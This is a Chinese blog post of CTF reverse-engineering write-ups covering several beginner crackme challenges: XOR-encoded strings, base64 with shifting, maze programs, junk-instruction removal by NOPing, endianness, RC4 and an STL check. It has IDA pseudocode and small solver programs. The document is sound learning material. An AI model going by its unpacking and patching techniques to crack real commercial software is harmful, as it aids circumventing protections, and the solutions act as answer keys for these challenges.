//ifstream fin("");
//ofstream fout("");
/*
  f',0Ah              ; DATA XREF: __data:_global↓o
  __cstring:0000000100000F6E                 db 'k',0Ch,'w&O.@',11h,'x',0Dh,'Z;U',11h,'p',19h,'F',1Fh,'v"M#D',0Eh,'g'
  __cstring:0000000100000F6E                 db 6,'h',0Fh,'G2O',0
 */
char s[]={
	102,  10, 107,  12, 119,  38,  79,  46,  64,  17, 
	120,  13,  90,  59,  85,  17, 112,  25,  70,  31, 
	118,  34,  77,  35,  68,  14, 103,   6, 104,  15, 
	71,  50,  79,   0
};

char flag[114]={};
int main(){
	ios::sync_with_stdio(0);
	cin.tie(nullptr);
	cout.tie(nullptr);
	for(int i=1;i<33;i++){
		flag[i]=s[i-1]^s[i];
	}
	for(int i=1;i<=33;i++) cout<<flag[i];
	
	return 0;
}

其实此题我疑惑了很久 global 是什么玩意,点击 global 会显示

__data:0000000100001050 _global dq offset aFKWOXZUPFVMDGH

所以我还以为 global 就是后面那个afk什么 但是其实这是字符串变量名

再点击可以发现

__cstring:0000000100000F6E aFKWOXZUPFVMDGH db 'f',0Ah              ; DATA XREF: __data:_global↓o
__cstring:0000000100000F6E                 db 'k',0Ch,'w&O.@',11h,'x',0Dh,'Z;U',11h,'p',19h,'F',1Fh,'v"M#D',0Eh,'g'
__cstring:0000000100000F6E                 db 6,'h',0Fh,'G2O',0

所以字符串实际的内容就是后面的那些神秘字符 实质上就是字符串数组的具体内容,而 ida 支持对这些内容进行导出

unsigned char aFKWOXZUPFVMDGH[] =
{
  102,  10, 107,  12, 119,  38,  79,  46,  64,  17, 
  120,  13,  90,  59,  85,  17, 112,  25,  70,  31, 
  118,  34,  77,  35,  68,  14, 103,   6, 104,  15, 
   71,  50,  79,   0
};

所以直接 ascii 码转换即可。

reverse3

shift + f12 后看到了明显的提示

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;                         // init
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);  // proc?
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )        // e3nifIH9b_C@n@dH
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

大概流程很好理解 一个字符串的初始值是注释中的内容,然后经过了某个函数处理又被循环遍历移位。

此时的关键点在于理解这个处理函数。

但是打开这个处理函数我人有点傻了。

void *__cdecl sub_411AB0(char *a1, unsigned int a2, int *a3)
{
  int v4; // [esp+D4h] [ebp-38h]
  int v5; // [esp+D4h] [ebp-38h]
  int v6; // [esp+D4h] [ebp-38h]
  int v7; // [esp+D4h] [ebp-38h]
  int i; // [esp+E0h] [ebp-2Ch]
  unsigned int v9; // [esp+ECh] [ebp-20h]
  int v10; // [esp+ECh] [ebp-20h]
  int v11; // [esp+ECh] [ebp-20h]
  void *v12; // [esp+F8h] [ebp-14h]
  char *v13; // [esp+104h] [ebp-8h]

  if ( !a1 || !a2 )
    return 0;
  v9 = a2 / 3;
  if ( (int)(a2 / 3) % 3 )
    ++v9;
  v10 = 4 * v9;
  *a3 = v10;
  v12 = malloc(v10 + 1);
  if ( !v12 )
    return 0;
  j_memset(v12, 0, v10 + 1);
  v13 = a1;
  v11 = a2;
  v4 = 0;
  while ( v11 > 0 )
  {
    byte_41A144[2] = 0;
    byte_41A144[1] = 0;
    byte_41A144[0] = 0;
    for ( i = 0; i < 3 && v11 >= 1; ++i )
    {
      byte_41A144[i] = *v13;
      --v11;
      ++v13;
    }
    if ( !i )
      break;
    switch ( i )
    {
      case 1:
        *((_BYTE *)v12 + v4) = aAbcdefghijklmn[(int)(unsigned __int8)byte_41A144[0] >> 2];
        v5 = v4 + 1;
        *((_BYTE *)v12 + v5) = aAbcdefghijklmn[((byte_41A144[1] & 0xF0) >> 4) | (16 * (byte_41A144[0] & 3))];
        *((_BYTE *)v12 + ++v5) = aAbcdefghijklmn[64];
        *((_BYTE *)v12 + ++v5) = aAbcdefghijklmn[64];
        v4 = v5 + 1;
        break;
      case 2:
        *((_BYTE *)v12 + v4) = aAbcdefghijklmn[(int)(unsigned __int8)byte_41A144[0] >> 2];
        v6 = v4 + 1;
        *((_BYTE *)v12 + v6) = aAbcdefghijklmn[((byte_41A144[1] & 0xF0) >> 4) | (16 * (byte_41A144[0] & 3))];
        *((_BYTE *)v12 + ++v6) = aAbcdefghijklmn[((byte_41A144[2] & 0xC0) >> 6) | (4 * (byte_41A144[1] & 0xF))];
        *((_BYTE *)v12 + ++v6) = aAbcdefghijklmn[64];
        v4 = v6 + 1;
        break;
      case 3:
        *((_BYTE *)v12 + v4) = aAbcdefghijklmn[(int)(unsigned __int8)byte_41A144[0] >> 2];
        v7 = v4 + 1;
        *((_BYTE *)v12 + v7) = aAbcdefghijklmn[((byte_41A144[1] & 0xF0) >> 4) | (16 * (byte_41A144[0] & 3))];
        *((_BYTE *)v12 + ++v7) = aAbcdefghijklmn[((byte_41A144[2] & 0xC0) >> 6) | (4 * (byte_41A144[1] & 0xF))];
        *((_BYTE *)v12 + ++v7) = aAbcdefghijklmn[byte_41A144[2] & 0x3F];
        v4 = v7 + 1;
        break;
    }
  }
  *((_BYTE *)v12 + v4) = 0;
  return v12;
}

也太复杂了,写 decode 的脚本需要很多功夫。

最后迫不得已去网上查了 wp ,发现这是 base64 加密算法, base64 我接触非常多了,但是对算法的理解不是很深刻,这就导致我第一时间根本看不出来。

所以总结一些 trick,

  • 以后拿到原字符串可以尝试跑一遍 smart decode ,一些简单的题用的是一些常见的加密算法 或许可以直接 decode。
  • 注意题目中的一些关键变量和操作,比如此题的移位操作,还有哈希常用的一些常量,也许可以推断。

放一个 decode 移位的代码吧。

#include <bits/stdc++.h>

using namespace std;
typedef long long ll;
//ifstream fin("");
//ofstream fout("");
string s="e3nifIH9b_C@n@dH";
int main(){
	ios::sync_with_stdio(0);
	cin.tie(nullptr);
	cout.tie(nullptr);
	for(int i=0;i<s.length();i++){
		s[i]-=i;
	}
	cout<<s;
	return 0;
}
//e2lfbDB2ZV95b3V9

不一样的 flag

不难找到主函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _BYTE v3[29]; // [esp+17h] [ebp-35h] BYREF
  int v4; // [esp+34h] [ebp-18h]
  int v5; // [esp+38h] [ebp-14h] BYREF
  int i; // [esp+3Ch] [ebp-10h]
  _BYTE v7[12]; // [esp+40h] [ebp-Ch] BYREF

  __main();
  v3[26] = 0;
  *(_WORD *)&v3[27] = 0;
  v4 = 0;
  strcpy(v3, "*11110100001010000101111#");
  while ( 1 )
  {
    puts("you can choose one action to execute");
    puts("1 up");
    puts("2 down");
    puts("3 left");
    printf("4 right\n:");
    scanf("%d", &v5);
    if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;
      }
      else
      {
        if ( v5 != 4 )
LABEL_13:
          exit(1);
        ++v4;
      }
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_13;
      --*(_DWORD *)&v3[25];
    }
    for ( i = 0; i <= 1; ++i )
    {
      if ( *(int *)&v3[4 * i + 25] < 0 || *(int *)&v3[4 * i + 25] > 4 )
        exit(1);
    }
    if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 49 )
      exit(1);
    if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 35 )
    {
      puts("\nok, the order you enter is the flag!");
      exit(0);
    }
  }
}

我看到上下左右的时候就知道这是逆向迷宫了,因为之前[数据删除]的[数据删除]中提到过,然后我大概研究了一下。

那么不出意外的话上面那个01串就是迷宫地图了。不过地图肯定不能是一维的,继续分析代码。

if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 49 )
      exit(1);
    if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 35 )
    {
      puts("\nok, the order you enter is the flag!");
      exit(0);
    }

前面看不懂就不看了,重点在这里,你会发现这里有一个常量 5 ,而迷宫地图*11110100001010000101111#的长度刚好是 25

这样你很难不联想点什么,给它 /5 会怎么样

*1111
01000
01010
00010
1111#

这样这个迷宫就看起来非常正常了 继续分析上面要求相等的两个常量 4935

其中 49 对应字符 1 35对应 # 而且如果等于 1 就退出 所以 1 是不能走的

然后到 # 就输出提示 所以重点是 # 不难联想起点是 *

走迷宫即可 保存答案序列即为 flag

[HDCTF2019] Maze

充分发扬了我的唐氏。

用 ida 打开发现是有壳的,所以用神奇小工具脱壳。

然后打开发现 ida 反编译失败了,加了花指令,这也根本难不倒他,直接修改 16 进制 把第一位改为 '90' 即可 nop 这一行。

接下来一切都解决了 但是发现还是找不到 main 函数 shift+f12 发现了相关字符串 但是发现没有交叉引用

然后我就被卡了半天 一度以为是 ida 的问题

但是实际上 ida 并没有把你 nop 之后的东西识别为函数 所以前面的地址显示为红色 你需要手动选中所有的地址然后按一下 p 来把这些内容声明为函数。

最后在函数栏发现了 main 函数,流程很简单, wsad 控制上下左右走迷宫即可 迷宫地图可以 shift+f12 找到。

还是不够熟悉 ida 软件导致的,出问题不要急着质疑软件,先审视一下你自己。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+10h] [ebp-14h]
  char v5[16]; // [esp+14h] [ebp-10h] BYREF

  sub_401140(aGoThroughTheMa);
  scanf("%14s", v5);
  for ( i = 0; i <= 13; ++i )
  {
    switch ( v5[i] )
    {
      case 'a':
        --*(_DWORD *)asc_408078;
        break;
      case 'd':
        ++*(_DWORD *)asc_408078;
        break;
      case 's':
        --dword_40807C;
        break;
      case 'w':
        ++dword_40807C;
        break;
      default:
        continue;
    }
  }
  if ( *(_DWORD *)asc_408078 == '\x05' && dword_40807C == -4 )
  {
    sub_401140(aCongratulation);
    sub_401140(aHereIsTheFlagF);
  }
  else
  {
    sub_401140(aTryAgain);
  }
  return 0;
}
*******+**
******* **
****    **
**   *****
** **F****
**    ****
**********

我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?我是人类啊?

[GXYCTF2019] luck_guy

这题很好理解,题的内容不过多叙述。

主要提到一个小坑点, ida 会把内存中的数据自动转变为大端序处理,而个人电脑一般是小端序。

具体到这题目来看,s = 0x7F666F6067756369LL; 按 R 转变为字符串 ida 给出的字符串是 \x7Ffo`guci

但是由于上述提到的原因,原序列应该反过来。

whatcanisay

simpleRev

这个题的主要考点就落在了大小端序上。

unsigned __int64 Decry()
{
  char v1; // [rsp+Fh] [rbp-51h]
  int v2; // [rsp+10h] [rbp-50h]
  int v3; // [rsp+14h] [rbp-4Ch]
  int i; // [rsp+18h] [rbp-48h]
  int v5; // [rsp+1Ch] [rbp-44h]
  char src[8]; // [rsp+20h] [rbp-40h] BYREF
  __int64 v7; // [rsp+28h] [rbp-38h]
  int v8; // [rsp+30h] [rbp-30h]
  __int64 v9[2]; // [rsp+40h] [rbp-20h] BYREF
  int v10; // [rsp+50h] [rbp-10h]
  unsigned __int64 v11; // [rsp+58h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  *(_QWORD *)src = 'SLCDN';
  v7 = 0LL;
  v8 = 0;
  v9[0] = 'wodah';
  v9[1] = 0LL;
  v10 = 0;
  text = join(key3, (const char *)v9);
  strcpy(key, key1);
  strcat(key, src);
  v2 = 0;
  v3 = 0;
  getchar();
  v5 = strlen(key);
  for ( i = 0; i < v5; ++i )
  {
    if ( key[v3 % v5] > '@' && key[v3 % v5] <= 'Z' )
      key[i] = key[v3 % v5] + 32;
    ++v3;
  }
  printf("Please input your flag:");
  while ( 1 )
  {
    v1 = getchar();
    if ( v1 == '\n' )
      break;
    if ( v1 == ' ' )
    {
      ++v2;
    }
    else
    {
      if ( v1 <= 96 || v1 > 122 )
      {
        if ( v1 > 64 && v1 <= 90 )
        {
          str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
          ++v3;
        }
      }
      else
      {
        str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
        ++v3;
      }
      if ( !(v3 % v5) )
        putchar(32);
      ++v2;
    }
  }
  if ( !strcmp(text, str2) )
    puts("Congratulation!\n");
  else
    puts("Try again!\n");
  return __readfsqword(0x28u) ^ v11;
}

hua

发现三个花指令,全都是跳转到下一个地址 直接把第一位地址改为 90 nop 掉即可

ida 快捷键:按 c 把内容转换为代码 到函数头按 p 创建函数.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  size_t v4; // eax
  char Str1[512]; // [esp+1Ch] [ebp-508h] BYREF
  char Str[256]; // [esp+21Ch] [ebp-308h] BYREF
  _BYTE v8[256]; // [esp+31Ch] [ebp-208h] BYREF
  _BYTE v9[256]; // [esp+41Ch] [ebp-108h] BYREF
  int i; // [esp+51Ch] [ebp-8h]

  __main();
  memset(v9, 0, sizeof(v9));
  memset(v8, 0, sizeof(v8));
  strcpy(Str, "WOWOWOWWOWOWOW");
  memset(&Str[15], 0, 241);
  hello();
  scanf("%s", Str1);
  v3 = strlen(Str);
  Rc4_Init(v9, Str, v3);
  for ( i = 0; i <= 255; ++i )
    v8[i] = v9[i];
  v4 = strlen(Str1);
  Rc4_Crypt(v9, Str1, v4);
  if ( !strcmp(Str1, &enc) )
    puts("WOW!");
  else
    puts("I believe you can do it!");
  system("pause");
  return 0;
}

已经告诉你了加密算法是 rc4 ,key 和密码也已经告诉 直接找个在线网站 decode 即可。

stl

这次代码换成了 c++ 所以反汇编伪代码变丑了很多。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rax
  char v5; // bl
  _BYTE *v6; // rax
  _QWORD *v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  int i; // [rsp+0h] [rbp-250h]
  int j; // [rsp+4h] [rbp-24Ch]
  char v13[32]; // [rsp+10h] [rbp-240h] BYREF
  char v14[32]; // [rsp+30h] [rbp-220h] BYREF
  __int64 v15[64]; // [rsp+50h] [rbp-200h] BYREF

  v15[61] = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v13, argv, envp);
  memset(v15, 0, 480);
  v15[0] = 0x2882D802120ELL;
  v15[1] = 0x28529A05954LL;
  v15[2] = 0x486088C03LL;
  v15[3] = 0xC0FB3B55754LL;
  v15[4] = 0xC2B9B7F8651LL;
  v15[5] = 0xAE83FB054CLL;
  v15[6] = 0x29ABF6DDCB15LL;
  v15[7] = 0x10E261FC807LL;
  v15[8] = 0x2A82FE86D707LL;
  v15[9] = 0xE0CB79A5706LL;
  v15[10] = 0x330560890D06LL;
  std::operator<<<std::char_traits<char>>(&std::cout, "Input Your flag:");
  std::operator>><char>(&std::cin, v13);
  if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v13) != 44 )
    exit(0);
  v3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::end(v13);
  v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::begin(v13);
  std::reverse<__gnu_cxx::__normal_iterator<char *,std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>(
    v4,
    v3);
  for ( i = 0;
        i < (unsigned __int64)(std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(v13)
                             - 1);
        ++i )
  {
    v5 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v13, i + 1);
    v6 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v13, i);
    *v6 ^= v5;
  }
  for ( j = 0;
        j < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(v13) >> 2;
        ++j )
  {
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::substr(v14, v13, 4 * j, 4LL);
    v7 = (_QWORD *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v14, 0LL);
    if ( (((unsigned __int64)(unsigned int)*v7 << 15) ^ (unsigned int)*v7) != v15[j] )
    {
      v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!!");
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v14);
  }
  v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Right!!");
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v13);
  return 0;
}

payload:

mambaout

posted @   reverber  阅读(82)  评论(3编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示